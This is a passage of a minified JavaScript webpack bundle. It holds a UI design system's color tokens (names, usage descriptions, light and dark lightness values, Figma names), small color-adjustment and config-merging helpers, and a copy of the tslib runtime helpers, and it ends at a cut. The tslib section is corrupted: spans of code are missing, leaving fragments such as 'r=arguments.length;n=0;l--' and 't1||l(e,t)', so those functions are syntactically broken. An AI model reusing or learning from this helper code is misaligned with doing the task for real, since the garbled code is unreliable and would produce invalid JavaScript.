background.",light:{lightness:95.5},dark:{lightness:3.3},meta:{figmaName:"Background/Hovered"}},{name:"backgroundPressed",description:"For use when an action or navigation is used on a background.",light:{lightness:94},dark:{lightness:3.3},meta:{figmaName:"Background/Pressed"}},{name:"backgroundSelected",description:"For use in the selected item in navigation",light:{lightness:94},dark:{lightness:3.3},meta:{figmaName:"Background/Selected"}},{name:"surface",description:"For use as a background color, in components such as Card, Modal, and Popover.",light:{lightness:100},dark:{lightness:12.7},meta:{figmaName:"Surface/Default"}},{name:"surfaceNeutral",description:"For use as a background color in neutral badges.",light:{lightness:91},dark:{lightness:21},meta:{figmaName:"Surface Neutral/Default"}},{name:"surfaceNeutralHovered",description:"For use as a hovered background color in neutral badges.",light:{lightness:88},dark:{lightness:21},meta:{figmaName:"Surface Neutral/Hovered"}},{name:"surfaceNeutralPressed",description:"For use as a pressed background color in neutral badges.",light:{lightness:82},dark:{lightness:21},meta:{figmaName:"Surface Neutral/Pressed"}},{name:"surfaceNeutralDisabled",description:"For use as a disabled background color in neutral badges.",light:{lightness:95.5},dark:{lightness:21},meta:{figmaName:"Surface Neutral/Disabled"}},{name:"surfaceNeutralSubdued",description:"For use as a background color in neutral banners.",light:{lightness:97},dark:{lightness:30},meta:{figmaName:"Surface Neutral/Subdued"}},{name:"surfaceSubdued",description:"For use as a subdued background color, in components such as Card, Modal, and Popover.",light:{lightness:98.5},dark:{lightness:10},meta:{figmaName:"Surface/Subdued"}},{name:"surfaceDisabled",description:"For use as a surface color on disabled interactive elements such as option list items and action list items when in a disabled state.",light:{lightness:98.5},dark:{lightness:10},meta:{figmaName:"Surface/Disabled"}},{name:"surfaceHovered",description:"For use as a surface color on interactive elements such as resource list items and action list items when in a hovered state.",light:{lightness:97},dark:{lightness:20},meta:{figmaName:"Surface/Hovered"}},{name:"surfacePressed",description:"For use as a surface color on interactive elements such as resource list items and action list items when in a pressed state.",light:{lightness:95.5},dark:{lightness:27},meta:{figmaName:"Surface/Pressed"}},{name:"surfaceDepressed",description:"For use as a surface color on interactive elements such as resource list items and action list items when in a depressed state.",light:{lightness:94},dark:{lightness:35},meta:{figmaName:"Surface/Depressed"}},{name:"surfaceSearchField",description:"For use as a background color, in components on surface elements such as SearchField",light:{lightness:95.5},dark:{lightness:20},meta:{figmaName:"Surface/SearchField"}},{name:"backdrop",description:"For use as the background color of the backdrop component for navigation and modal. This color has an alpha of `0.5`.",light:{hue:0,saturation:0,lightness:0,alpha:.5},dark:{hue:0,saturation:0,lightness:0,alpha:.5},meta:{figmaName:"Backdrop"}},{name:"overlay",description:"For use as the background color of elements which lay on top of surfaces to obscure their contents. This color has an alpha of `0.5`.",light:{hue:0,saturation:0,lightness:100,alpha:.5},dark:{hue:0,saturation:0,lightness:12.7,alpha:.5},meta:{figmaName:"Overlay"}},{name:"shadowFromDimLight",description:"For use in building shadows for modals. This color has an alpha of `0.02`.",light:{lightness:0,alpha:.2},dark:{lightness:100,alpha:.2},meta:{figmaName:"Shadow/From dim light"}},{name:"shadowFromAmbientLight",description:"For use in building shadows for popovers, and cards. This color has an alpha of `0.05`.",light:{hue:180,saturation:5,lightness:8,alpha:.05},dark:{hue:180,saturation:5,lightness:8,alpha:.05},meta:{figmaName:"Shadow/From ambient light"}},{name:"shadowFromDirectLight",description:"For use in building shadows for popovers and cards. This color has an alpha of `0.15`.",light:{hue:0,saturation:0,lightness:0,alpha:.15},dark:{hue:0,saturation:0,lightness:100,alpha:.15},meta:{figmaName:"Shadow/From direct light"}},{name:"hintFromDirectLight",description:"For use in building shadows scrollables.",light:{hue:0,saturation:0,lightness:0,alpha:.15},dark:{hue:0,saturation:0,lightness:75,alpha:.2},meta:{figmaName:"Hint/From direct light"}}],onSurface:[{name:"border",description:"For use as the default border on elements.",light:{lightness:60},dark:{lightness:35},meta:{figmaName:"Border/Default"}},{name:"borderNeutralSubdued",description:"For use as the border on banners.",light:{lightness:77},dark:{lightness:56},meta:{figmaName:"Border Neutral/Subdued"}},{name:"borderHovered",description:"Used for borders on hovered interactive elements",light:{lightness:65},dark:{lightness:35},meta:{figmaName:"Border/Hovered"}},{name:"borderDisabled",description:"Used for disabled borders on interactive elements",light:{lightness:85},dark:{lightness:45},meta:{figmaName:"Border/Disabled"}},{name:"borderSubdued",description:"For use as a subdued border on elements.",light:{saturation:r.saturationAdjustmentFn(-1),lightness:81.9},dark:{lightness:56},meta:{figmaName:"Border/Subdued"}},{name:"borderDepressed",description:"For use as a border on depressed elements.",light:{hue:r.hueRotationFn(-45),saturation:r.saturationAdjustmentFn(-4),lightness:37.7},dark:{hue:r.hueRotationFn(-45),saturation:r.saturationAdjustmentFn(-4),lightness:60},meta:{figmaName:"Border/Depressed"}},{name:"borderShadow",description:"For use as an additional bottom border on elements.",light:{lightness:73},dark:{lightness:40},meta:{figmaName:"BorderShadow"}},{name:"borderShadowSubdued",description:"For use as an additional, subdued bottom border on elements.",light:{lightness:77.1},dark:{lightness:56},meta:{figmaName:"BorderShadow/Subdued"}},{name:"divider",description:"For use as a divider between elements.",light:{saturation:r.saturationAdjustmentFn(-1),lightness:90.1},dark:{saturation:r.saturationAdjustmentFn(-1),lightness:30},meta:{figmaName:"Divider"}},{name:"icon",description:"For use as the fill color of icons.",light:{lightness:40.1},dark:{lightness:70.1},meta:{figmaName:"Icon/Default"}},{name:"iconHovered",description:"For use as the fill color of hovered icons.",light:{lightness:10},dark:{lightness:90},meta:{figmaName:"Icon/Hovered"}},{name:"iconPressed",description:"For use as the fill color of pressed icons.",light:{lightness:30},dark:{lightness:70},meta:{figmaName:"Icon/Pressed"}},{name:"iconDisabled",description:"For use as the fill color of disabled icons.",light:{lightness:76.9},dark:{lightness:36.8},meta:{figmaName:"Icon/Disabled"}},{name:"iconSubdued",description:"For use as the fill color of subdued icons.",light:{lightness:59.8},dark:{lightness:52.1},meta:{figmaName:"Icon/Subdued"}},{name:"text",description:"For use as a text color.",light:{lightness:13.1},dark:{lightness:90.8},meta:{figmaName:"Text/Default"}},{name:"textDisabled",description:"For use as a disabled text color and as a placeholder text color.",light:{lightness:60},dark:{lightness:48.2},meta:{figmaName:"Text/Disabled"}},{name:"textSubdued",description:"For use as a subdued text color.",light:{lightness:47.4},dark:{lightness:65.1},meta:{figmaName:"Text/Subdued"}}],interactive:[{name:"interactive",description:"Used for links, plain buttons, and as the fill color for selected checkboxes and radio buttons.",light:{lightness:47},dark:{lightness:65,saturation:r.saturationAdjustmentFn(11.2),hue:r.hueRotationFn(-7.1)},meta:{figmaName:"Interactive/Default"}},{name:"interactiveDisabled",description:"Used for disabled links and plain buttons.",light:{lightness:78,saturation:17},dark:{lightness:42},meta:{figmaName:"Interactive/Disabled"}},{name:"interactiveHovered",description:"Used for hovered links and plain buttons.",light:{lightness:35},dark:{lightness:70,saturation:r.saturationAdjustmentFn(11.2),hue:r.hueRotationFn(-7.1)},meta:{figmaName:"Interactive/Hovered"}},{name:"interactivePressed",description:"Used for pressed links and plain buttons.",light:{lightness:21},dark:{lightness:75,saturation:r.saturationAdjustmentFn(11.2),hue:r.hueRotationFn(-7.1)},meta:{figmaName:"Interactive/Pressed"}},{name:"iconInteractive",description:"For use as an interactive icon fill color",light:{lightness:47},dark:{lightness:65,saturation:r.saturationAdjustmentFn(11.2),hue:r.hueRotationFn(-7.1)},meta:{figmaName:"Icon/Interactive"}},{name:"focused",description:"For use in the focus ring on interactive elements.",light:{lightness:60,saturation:r.saturationAdjustmentFn(11.2)},dark:{lightness:42},meta:{figmaName:"Focused/Default"}},{name:"surfaceSelected",description:"For use as a surface color in selected interactive elements, in components such as action list and resource list.",light:{lightness:97,hue:r.hueRotationFn(-12)},dark:{lightness:4},meta:{figmaName:"Surface Selected/Default"}},{name:"surfaceSelectedHovered",description:"For use as a surface color in selected interactive elements that are hovered, in components such as action list and resource list.",light:{lightness:96,hue:r.hueRotationFn(-12)},dark:{lightness:11},meta:{figmaName:"Surface Selected/Hovered"}},{name:"surfaceSelectedPressed",description:"For use as a surface color in selected interactive elements that are pressed, in components such as action list and resource list.",light:{lightness:94,hue:r.hueRotationFn(-10)},dark:{lightness:18},meta:{figmaName:"Surface Selected/Pressed"}},{name:"iconOnInteractive",description:"For use as a fill color for icons on interactive elements.",light:{lightness:100},dark:{lightness:100},meta:{figmaName:"Icon On/Interactive"}},{name:"textOnInteractive",description:"For use as a text color on interactive elements.",light:{lightness:100},dark:{lightness:100},meta:{figmaName:"Text On/Interactive"}}],secondary:[{name:"actionSecondary",description:"Used for secondary buttons and tertiary buttons, as well as in form elements as a background color and pontentially other secondary surfaces.",light:{lightness:100},dark:{lightness:34},meta:{figmaName:"Action Secondary/Default"}},{name:"actionSecondaryDisabled",description:"Used as a disabled state for secondary buttons",light:{lightness:100},dark:{lightness:13},meta:{figmaName:"Action Secondary/Disabled"}},{name:"actionSecondaryHovered",description:"Used as a hovered state for secondary buttons",light:{lightness:97},dark:{lightness:37},meta:{figmaName:"Action Secondary/Hovered"}},{name:"actionSecondaryPressed",description:"Used as a pressed state for secondary buttons",light:{lightness:95.5},dark:{lightness:42},meta:{figmaName:"Action Secondary/Pressed"}},{name:"actionSecondaryDepressed",description:"Used as a depressed state for secondary buttons",light:{hue:r.hueRotationFn(4),lightness:47.4},dark:{hue:r.hueRotationFn(4),lightness:53},meta:{figmaName:"Action Secondary/Depressed"}}],primary:[{name:"actionPrimary",description:"Used as the background color for primary actions, and as the fill color for icons and the text color in navigation and tabs to communicate interaction states.",light:{lightness:47.3},dark:{lightness:47.3},meta:{figmaName:"Action Primary/Default"}},{name:"actionPrimaryDisabled",description:"Used as the background color for disabled primary actions, and as the fill color for icons and the text color in navigation and tabs to communicate interaction states.",light:{lightness:95,saturation:0},dark:{lightness:32},meta:{figmaName:"Action Primary/Disabled"}},{name:"actionPrimaryHovered",description:"Used as the background color for hovered primary actions, and as the fill color for icons and the text color in navigation and tabs to communicate interaction states.",light:{lightness:41},dark:{lightness:55},meta:{figmaName:"Action Primary/Hovered"}},{name:"actionPrimaryPressed",description:"Used as the background color for pressed primary actions, and as the fill color for icons and the text color in navigation and tabs to communicate interaction states.",light:{lightness:35},dark:{lightness:60},meta:{figmaName:"Action Primary/Pressed"}},{name:"actionPrimaryDepressed",description:"Used as the background color for pressed primary actions, and as the fill color for icons and the text color in navigation and tabs to communicate interaction states.",light:{lightness:22},dark:{lightness:65},meta:{figmaName:"Action Primary/Depressed"}},{name:"iconOnPrimary",description:"For use as a fill color for icons on primary actions. Not for use in icons on navigation and tabs.",light:{lightness:100},dark:{lightness:98},meta:{figmaName:"Icon On/Primary"}},{name:"textOnPrimary",description:"For use as a text color on primary actions. Not for use in text on navigation and tabs.",light:{lightness:100},dark:{lightness:100},meta:{figmaName:"Text On/Primary"}},{name:"textPrimary",description:"For use as primary text color on background. For use in text in components such as Navigation.",light:{lightness:45.7},dark:{lightness:52},meta:{figmaName:"Text Primary/Default"}},{name:"textPrimaryHovered",description:"For use as primary hovered text color on background. For use in text in components such as Navigation.",light:{lightness:40},dark:{lightness:58},meta:{figmaName:"Text Primary/hover"}},{name:"textPrimaryPressed",description:"For use as primary pressed text color on background. For use in text in components such as Navigation.",light:{lightness:34},dark:{lightness:64},meta:{figmaName:"Text Primary/Pressed"}},{name:"surfacePrimarySelected",description:"Used as a surface color to indicate selected interactive states in navigation and tabs.",light:{lightness:97,saturation:20},dark:{lightness:5,saturation:30},meta:{figmaName:"Surface Primary/Selected"}},{name:"surfacePrimarySelectedHovered",description:"Used as a surface color to indicate selected interactive states that are hovered in navigation and tabs.",light:{lightness:81,saturation:22},dark:{lightness:19,saturation:22},meta:{figmaName:"Surface Primary/Selected Hovered"}},{name:"surfacePrimarySelectedPressed",description:"Used as a surface color to indicate selected interactive states that are pressed in navigation and tabs.",light:{lightness:74,saturation:22},dark:{lightness:26,saturation:22},meta:{figmaName:"Surface Primary/Selected Pressed"}}],critical:[{name:"borderCritical",description:"For use as a border on critical components such as an outline on interactive elements in an error state.",light:{lightness:60},dark:{lightness:50},meta:{figmaName:"Border Critical/Default"}},{name:"borderCriticalSubdued",description:"For use as a border on critical components such as banners.",light:{lightness:77,saturation:r.saturationAdjustmentFn(-50)},dark:{lightness:50},meta:{figmaName:"Border Critical/Subdued"}},{name:"borderCriticalDisabled",description:"For use as a disabled border on critical components such as banners, and as an outline on interactive elements in an error state.",light:{lightness:77,saturation:r.saturationAdjustmentFn(2.7)},dark:{lightness:28},meta:{figmaName:"Border Critical/Disabled"}},{name:"iconCritical",description:"For use as an icon fill color on top of critical elements.",light:{lightness:47.3},dark:{lightness:48},meta:{figmaName:"Icon/Critical"}},{name:"surfaceCritical",description:"For use as a surface color on critical elements including badges.",light:{lightness:88},dark:{lightness:12},meta:{figmaName:"Surface Critical/Default"}},{name:"surfaceCriticalSubdued",description:"For use as a subdued surface color on critical elements including banners.",light:{lightness:97},dark:{lightness:12},meta:{figmaName:"Surface Critical/Subdued"}},{name:"surfaceCriticalSubduedHovered",description:"For use as a surface color on critical interactive elements including action list items in a hovered state.",light:{lightness:96},dark:{lightness:15,saturation:60},meta:{figmaName:"Surface Critical/Subdued Hovered",figmaDescription:"Used on action lists"}},{name:"surfaceCriticalSubduedPressed",description:"For use as a surface color on critical interactive elements including action list items in a pressed state.",light:{lightness:94},dark:{lightness:22},meta:{figmaName:"Surface Critical/Subdued Pressed"}},{name:"surfaceCriticalSubduedDepressed",description:"For use as a surface color on critical interactive elements including action list items in a depressed state.",light:{lightness:82},dark:{lightness:29},meta:{figmaName:"Surface Critical/Subdued Depressed"}},{name:"textCritical",description:"For use as a text color in inert critical elements such as exception list. Not for use as a text color on banners and badges.",light:{lightness:47.3},dark:{lightness:65,saturation:70},meta:{figmaName:"Text/Critical"}},{name:"actionCritical",description:"For use as the background color for destructive buttons, and as the background color for error toast messages.",light:{lightness:47.5},dark:{lightness:45},meta:{figmaName:"Action Critical/Default"}},{name:"actionCriticalDisabled",description:"For use as the background color for disabled destructive buttons, and as the background color for error toast messages.",light:{lightness:95,saturation:0},dark:{lightness:41},meta:{figmaName:"Action Critical/Disabled"}},{name:"actionCriticalHovered",description:"For use as the background color for hovered destructive buttons, and as the background color for error toast messages.",light:{lightness:41,saturation:r.saturationAdjustmentFn(2.7)},dark:{lightness:50},meta:{figmaName:"Action Critical/Hovered"}},{name:"actionCriticalPressed",description:"For use as the background color for pressed destructive buttons, and as the background color for error toast messages.",light:{lightness:35,saturation:r.saturationAdjustmentFn(2.7)},dark:{lightness:55},meta:{figmaName:"Action Critical/Pressed"}},{name:"actionCriticalDepressed",description:"For use as the background color for depressed destructive buttons, and as the background color for error toast messages.",light:{lightness:22,saturation:r.saturationAdjustmentFn(2.7)},dark:{lightness:60},meta:{figmaName:"Action Critical/Depressed"}},{name:"iconOnCritical",description:"For use as a fill color for icons on critical actions.",light:{lightness:100},dark:{lightness:98},meta:{figmaName:"Icon On/Critical"}},{name:"textOnCritical",description:"For use as a text color on critical actions.",light:{lightness:100},dark:{lightness:100},meta:{figmaName:"Text On/Critical"}},{name:"interactiveCritical",description:"For use as the text color for destructive interactive elements: links, plain buttons, error state of selected checkboxes and radio buttons, as well as a text color on destructive action list items. Not for use on critical banners and badges.",light:{lightness:47.5},dark:{lightness:65},meta:{figmaName:"Interactive/Critical"}},{name:"interactiveCriticalDisabled",description:"For use as a text color in disabled destructive plain buttons, as well as a text color on destructive action list items. Not for use on critical banners and badges.",light:{lightness:72},dark:{lightness:78},meta:{figmaName:"Interactive/Critical Disabled"}},{name:"interactiveCriticalHovered",description:"For use as a text color in hovered destructive plain buttons, as well as a text color on destructive action list items. Not for use on critical banners and badges.",light:{lightness:45},dark:{lightness:70},meta:{figmaName:"Interactive/Critical Hovered"}},{name:"interactiveCriticalPressed",description:"For use as a text color in pressed destructive plain buttons, as well as a text color on destructive action list items. Not for use on critical banners and badges.",light:{lightness:21},dark:{lightness:75},meta:{figmaName:"Interactive/Critical Pressed"}}],warning:[{name:"borderWarning",description:"For use as a border on warning components such as...",light:{lightness:60},dark:{lightness:50},meta:{figmaName:"Border Warning/Default"}},{name:"borderWarningSubdued",description:"For use as a border on warning components such as banners.",light:{lightness:77,saturation:r.saturationAdjustmentFn(-40)},dark:{lightness:50},meta:{figmaName:"Border Warning/Subdued"}},{name:"iconWarning",description:"For use as an icon fill color on top of warning elements.",light:{lightness:60},dark:{lightness:34},meta:{figmaName:"Icon/Warning"}},{name:"surfaceWarning",description:"For use as a surface color on warning elements including badges.",light:{lightness:88},dark:{lightness:50},meta:{figmaName:"Surface Warning/Default",figmaDescription:"Use for badges"}},{name:"surfaceWarningSubdued",description:"For use as a subdued surface color on warning elements including banners.",light:{lightness:97},dark:{lightness:26,saturation:71},meta:{figmaName:"Surface Warning/Subdued",figmaDescription:"Used for banners"}},{name:"surfaceWarningSubduedHovered",description:"For use as a subdued surface color on warning elements including banners.",light:{lightness:96},dark:{lightness:28,saturation:71},meta:{figmaName:"Surface Warning/Subdued Hovered",figmaDescription:"Used for banners"}},{name:"surfaceWarningSubduedPressed",description:"For use as a subdued surface color on warning elements including banners.",light:{lightness:94},dark:{lightness:30,saturation:71},meta:{figmaName:"Surface Warning/Subdued Pressed",figmaDescription:"Used for banners"}},{name:"textWarning",description:"For use as a text color in inert critical elements such as exception list. Not for use as a text color on banners and badges.",light:{lightness:47.4},dark:{lightness:64.9},meta:{figmaName:"Text/Warning"}}],highlight:[{name:"borderHighlight",description:"For use as a border on informational components such as...",light:{lightness:60},dark:{lightness:60},meta:{figmaName:"Border Highlight/Default"}},{name:"borderHighlightSubdued",description:"For use as a border on informational components such as banners.",light:{lightness:77,saturation:r.saturationAdjustmentFn(-40)},dark:{lightness:60},meta:{figmaName:"Border Highlight/Subdued"}},{name:"iconHighlight",description:"For use as an icon fill color on top of informational elements.",light:{lightness:60,saturation:r.saturationAdjustmentFn(19.6)},dark:{lightness:42},meta:{figmaName:"Icon/Highlight"}},{name:"surfaceHighlight",description:"For use as a surface color on information elements including badges.",light:{lightness:88,saturation:r.saturationAdjustmentFn(-20.4)},dark:{lightness:40,saturation:100},meta:{figmaName:"Surface Highlight/Default"}},{name:"surfaceHighlightSubdued",description:"For use as a surface color on information elements including banners.",light:{lightness:97,saturation:r.saturationAdjustmentFn(-20.4)},dark:{lightness:20},meta:{figmaName:"Surface Highlight/Subdued"}},{name:"surfaceHighlightSubduedHovered",description:"For use as a surface color on information elements including banners.",light:{lightness:96,saturation:r.saturationAdjustmentFn(-20.4)},dark:{lightness:22},meta:{figmaName:"Surface Highlight/Subdued Hovered"}},{name:"surfaceHighlightSubduedPressed",description:"For use as a surface color on information elements including banners.",light:{lightness:94,saturation:r.saturationAdjustmentFn(-20.4)},dark:{lightness:25},meta:{figmaName:"Surface Highlight/Subdued Pressed"}},{name:"textHighlight",description:"For use as a text color in inert informational elements. Not for use as a text color on banners and badges.",light:{lightness:48},dark:{lightness:90},meta:{figmaName:"Text/Highlight"}}],success:[{name:"borderSuccess",description:"For use as a border on success components such as text inputs.",light:{lightness:60},dark:{lightness:50},meta:{figmaName:"Border Success/Default"}},{name:"borderSuccessSubdued",description:"For use as a border on success components such as banners.",light:{lightness:77,saturation:r.saturationAdjustmentFn(-60)},dark:{lightness:50},meta:{figmaName:"Border Success/Subdued"}},{name:"iconSuccess",description:"For use as an icon fill color on top of success elements.",light:{lightness:47},dark:{lightness:35},meta:{figmaName:"Icon/Success"}},{name:"surfaceSuccess",description:"For use as a surface color on success elements including badges.",light:{lightness:88,saturation:r.saturationAdjustmentFn(-60)},dark:{lightness:35},meta:{figmaName:"Surface Success/Default"}},{name:"surfaceSuccessSubdued",description:"For use as a surface color on information elements including banners.",light:{lightness:97,saturation:r.saturationAdjustmentFn(-80)},dark:{lightness:20,saturation:r.saturationAdjustmentFn(-40)},meta:{figmaName:"Surface Success/Subdued"}},{name:"surfaceSuccessSubduedHovered",description:"For use as a surface color on information elements including banners.",light:{lightness:96,saturation:r.saturationAdjustmentFn(-80)},dark:{lightness:22,saturation:r.saturationAdjustmentFn(-40)},meta:{figmaName:"Surface Success/Subdued Hovered"}},{name:"surfaceSuccessSubduedPressed",description:"For use as a surface color on information elements including banners.",light:{lightness:94,saturation:r.saturationAdjustmentFn(-80)},dark:{lightness:25,saturation:r.saturationAdjustmentFn(-40)},meta:{figmaName:"Surface Success/Subdued Pressed"}},{name:"textSuccess",description:"For use as a text color in inert success elements. Not for use as a text color on banners and badges.",light:{lightness:47.3},dark:{lightness:65,saturation:r.saturationAdjustmentFn(-30)},meta:{figmaName:"Text/Success"}}],decorative:[{name:"decorativeOneIcon",description:"For use as a decorative icon color that is applied on a decorative surface.",light:{hue:r.hueRotationFn(-4.5),lightness:40},dark:{hue:r.hueRotationFn(-4.5),lightness:80},meta:{figmaName:"Decorative/Icon/One"}},{name:"decorativeOneSurface",description:"For use as a decorative surface color.",light:{lightness:84},dark:{hue:r.hueRotationFn(-2.5),saturation:r.saturationAdjustmentFn(-2),lightness:46},meta:{figmaName:"Decorative/Surface/One"}},{name:"decorativeOneText",description:"For use as a decorative text color that is applied on a decorative surface.",light:{hue:r.hueRotationFn(-4.5),lightness:18},dark:{lightness:100},meta:{figmaName:"Decorative/Text/One"}},{name:"decorativeTwoIcon",description:"For use as a decorative icon color that is applied on a decorative surface.",light:{hue:r.hueRotationFn(305.5),saturation:r.saturationAdjustmentFn(-20),lightness:40},dark:{hue:r.hueRotationFn(305.5),saturation:r.saturationAdjustmentFn(-20),lightness:80},meta:{figmaName:"Decorative/Icon/Two"}},{name:"decorativeTwoSurface",description:"For use as a decorative surface color.",light:{hue:r.hueRotationFn(-26.5),lightness:84},dark:{hue:r.hueRotationFn(-32.5),saturation:r.saturationAdjustmentFn(-4),lightness:52},meta:{figmaName:"Decorative/Surface/Two"}},{name:"decorativeTwoText",description:"For use as a decorative text color that is applied on a decorative surface.",light:{hue:r.hueRotationFn(305.5),saturation:r.saturationAdjustmentFn(-20),lightness:14},dark:{lightness:100},meta:{figmaName:"Decorative/Text/Two"}},{name:"decorativeThreeIcon",description:"For use as a decorative icon color that is applied on a decorative surface.",light:{hue:r.hueRotationFn(87.5),lightness:40},dark:{hue:r.hueRotationFn(87.5),lightness:80},meta:{figmaName:"Decorative/Icon/Three"}},{name:"decorativeThreeSurface",description:"For use as a decorative surface color.",light:{hue:r.hueRotationFn(87.5),saturation:r.saturationAdjustmentFn(-46),lightness:85},dark:{hue:r.hueRotationFn(97.5),lightness:46},meta:{figmaName:"Decorative/Surface/Three"}},{name:"decorativeThreeText",description:"For use as a decorative text color that is applied on a decorative surface.",light:{hue:r.hueRotationFn(87.5),lightness:16},dark:{lightness:100},meta:{figmaName:"Decorative/Text/Three"}},{name:"decorativeFourIcon",description:"For use as a decorative icon color that is applied on a decorative surface.",light:{hue:r.hueRotationFn(133.5),lightness:40},dark:{hue:r.hueRotationFn(133.5),lightness:80},meta:{figmaName:"Decorative/Icon/Four"}},{name:"decorativeFourSurface",description:"For use as a decorative surface color.",light:{hue:r.hueRotationFn(123.5),saturation:r.saturationAdjustmentFn(-44),lightness:84},dark:{hue:r.hueRotationFn(131.5),saturation:r.saturationAdjustmentFn(-5),lightness:47},meta:{figmaName:"Decorative/Surface/Four"}},{name:"decorativeFourText",description:"For use as a decorative text color that is applied on a decorative surface.",light:{hue:r.hueRotationFn(133.5),lightness:16},dark:{lightness:100},meta:{figmaName:"Decorative/Text/Four"}},{name:"decorativeFiveIcon",description:"For use as a decorative icon color that is applied on a decorative surface.",light:{hue:r.hueRotationFn(306.5),saturation:r.saturationAdjustmentFn(-22),lightness:40},dark:{hue:r.hueRotationFn(306.5),saturation:r.saturationAdjustmentFn(-22),lightness:80},meta:{figmaName:"Decorative/Icon/Five"}},{name:"decorativeFiveSurface",description:"For use as a decorative surface color.",light:{hue:r.hueRotationFn(-53.4),saturation:r.saturationAdjustmentFn(-5.4),lightness:85.6},dark:{hue:r.hueRotationFn(306.5),saturation:r.saturationAdjustmentFn(-23),lightness:45},meta:{figmaName:"Decorative/Surface/Five"}},{name:"decorativeFiveText",description:"For use as a decorative text color that is applied on a decorative surface.",light:{hue:r.hueRotationFn(306.5),saturation:r.saturationAdjustmentFn(-22),lightness:16},dark:{lightness:100},meta:{figmaName:"Decorative/Text/Five"}}]}},9589:function(e,t,n){"use strict";t.t8=t.wP=void 0;var r=n(4246);Object.defineProperty(t,"wP",{enumerable:!0,get:function(){return r.colorFactory}});var a=n(574);Object.defineProperty(t,"t8",{enumerable:!0,get:function(){return a.mergeConfigs}})},574:function(e,t,n){"use strict";var r=n(9713).default,a=n(319).default,o=n(3038).default;Object.defineProperty(t,"__esModule",{value:!0}),t.mergeConfigs=t.saturationAdjustmentFn=t.hueRotationFn=void 0,t.hueRotationFn=function(e){return function(t){return(360+t+e)%360}},t.saturationAdjustmentFn=function(e){return function(t){return Math.min(Math.max(t+e,0),100)}},t.mergeConfigs=function(e,t){return Object.entries(e).reduce((function(e,n){var i=o(n,2),l=i[0],s=i[1],u=t[l],c=a(s);return null!=u&&u.forEach((function(e){var t=e.name,n=c.findIndex((function(e){return e.name===t}));-1===n?c.push(e):c.splice(n,1,e)})),Object.assign(Object.assign({},e),r({},l,c))}),{})}},6143:function(e,t,n){"use strict";n.r(t),n.d(t,{__extends:function(){return a},__assign:function(){return o},__rest:function(){return i},__decorate:function(){return l},__param:function(){return s},__metadata:function(){return u},__awaiter:function(){return c},__generator:function(){return d},__createBinding:function(){return f},__exportStar:function(){return p},__values:function(){return h},__read:function(){return m},__spread:function(){return v},__spreadArrays:function(){return g},__await:function(){return b},__asyncGenerator:function(){return y},__asyncDelegator:function(){return w},__asyncValues:function(){return x},__makeTemplateObject:function(){return E},__importStar:function(){return S},__importDefault:function(){return k},__classPrivateFieldGet:function(){return _},__classPrivateFieldSet:function(){return C}});var r=function(e,t){return r=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(e,t){e.__proto__=t}||function(e,t){for(var n in t)t.hasOwnProperty(n)&&(e[n]=t[n])},r(e,t)};function a(e,t){function n(){this.constructor=e}r(e,t),e.prototype=null===t?Object.create(t):(n.prototype=t.prototype,new n)}var o=function(){return o=Object.assign||function(e){for(var t,n=1,r=arguments.length;n=0;l--)(a=e[l])&&(i=(o<3?a(i):o>3?a(t,n,i):a(t,n))||i);return o>3&&i&&Object.defineProperty(t,n,i),i}function s(e,t){return function(n,r){t(n,r,e)}}function u(e,t){if("object"===typeof Reflect&&"function"===typeof Reflect.metadata)return Reflect.metadata(e,t)}function c(e,t,n,r){return new(n||(n=Promise))((function(a,o){function i(e){try{s(r.next(e))}catch(t){o(t)}}function l(e){try{s(r.throw(e))}catch(t){o(t)}}function s(e){var t;e.done?a(e.value):(t=e.value,t instanceof n?t:new n((function(e){e(t)}))).then(i,l)}s((r=r.apply(e,t||[])).next())}))}function d(e,t){var n,r,a,o,i={label:0,sent:function(){if(1&a[0])throw a[1];return a[1]},trys:[],ops:[]};return o={next:l(0),throw:l(1),return:l(2)},"function"===typeof Symbol&&(o[Symbol.iterator]=function(){return this}),o;function l(o){return function(l){return function(o){if(n)throw new TypeError("Generator is already executing.");for(;i;)try{if(n=1,r&&(a=2&o[0]?r.return:o[0]?r.throw||((a=r.return)&&a.call(r),0):r.next)&&!(a=a.call(r,o[1])).done)return a;switch(r=0,a&&(o=[2&o[0],a.value]),o[0]){case 0:case 1:a=o;break;case 4:return i.label++,{value:o[1],done:!1};case 5:i.label++,r=o[1],o=[0];continue;case 7:o=i.ops.pop(),i.trys.pop();continue;default:if(!(a=(a=i.trys).length>0&&a[a.length-1])&&(6===o[0]||2===o[0])){i=0;continue}if(3===o[0]&&(!a||o[1]>a[0]&&o[1]=e.length&&(e=void 0),{value:e&&e[r++],done:!e}}};throw new TypeError(t?"Object is not iterable.":"Symbol.iterator is not defined.")}function m(e,t){var n="function"===typeof Symbol&&e[Symbol.iterator];if(!n)return e;var r,a,o=n.call(e),i=[];try{for(;(void 0===t||t-- >0)&&!(r=o.next()).done;)i.push(r.value)}catch(l){a={error:l}}finally{try{r&&!r.done&&(n=o.return)&&n.call(o)}finally{if(a)throw a.error}}return i}function v(){for(var e=[],t=0;t1||l(e,t)}))})}function l(e,t){try{(n=a[e](t)).value instanceof b?Promise.resolve(n.value.v).then(s,u):c(o[0][2],n)}catch(r){c(o[0][3],r)}var n}function s(e){l("next",e)}function u(e){l("throw",e)}function c(e,t){e(t),o.shift(),o.length&&l(o[0][0],o[0][1])}}function w(e){var t,n;return t={},r("next"),r("throw",(function(e){throw e})),r("return"),t[Symbol.iterator]=function(){return this},t;function r(r,a){t[r]=e[r]?function(t){return(n=!n)?{value:b(e[r](t)),done:"return"===r}:a?a(t):t}:a}}function x(e){if(!Symbol.asyncIterator)throw new TypeError("Symbol.asyncIterator is not defined.");var t,n=e[Symbol.asyncIterator];return n?n.call(e):(e=h(e),t={},r("next"),r("throw"),r("return"),t[Symbol.asyncIterator]=function(){return this},t);function r(n){t[n]=e[n]&&function(t){return new Promise((function(r,a){(function(e,t,n,r){Promise.resolve(r).then((function(t){e({value:t,done:n})}),t)})(r,a,(t=e[n](t)).done,t.value)}))}}}function E(e,t){return Object.defineProperty?Object.defineProperty(e,"raw",{value:t}):e.raw=t,e}function S(e){if(e&&e.__esModule)return e;var t={};if(null!=e)for(var n in e)Object.hasOwnProperty.call(e,n)&&(t[n]=e[n]);return t.default=e,t}function k(e){return e&&e.__esModule?e:{default:e}}function _(e,t){if(!t.has(e))throw new TypeError("attempted to get private field on non-instance");return t.get(e)}function C(e,t,n){if(!t.has(e))throw new TypeError("attempted to set private field on non-instance");return t.set(e,n),n}},4569:function(e,t,n){e.exports=n(8036)},3381:function(e,t,n){"use strict";var 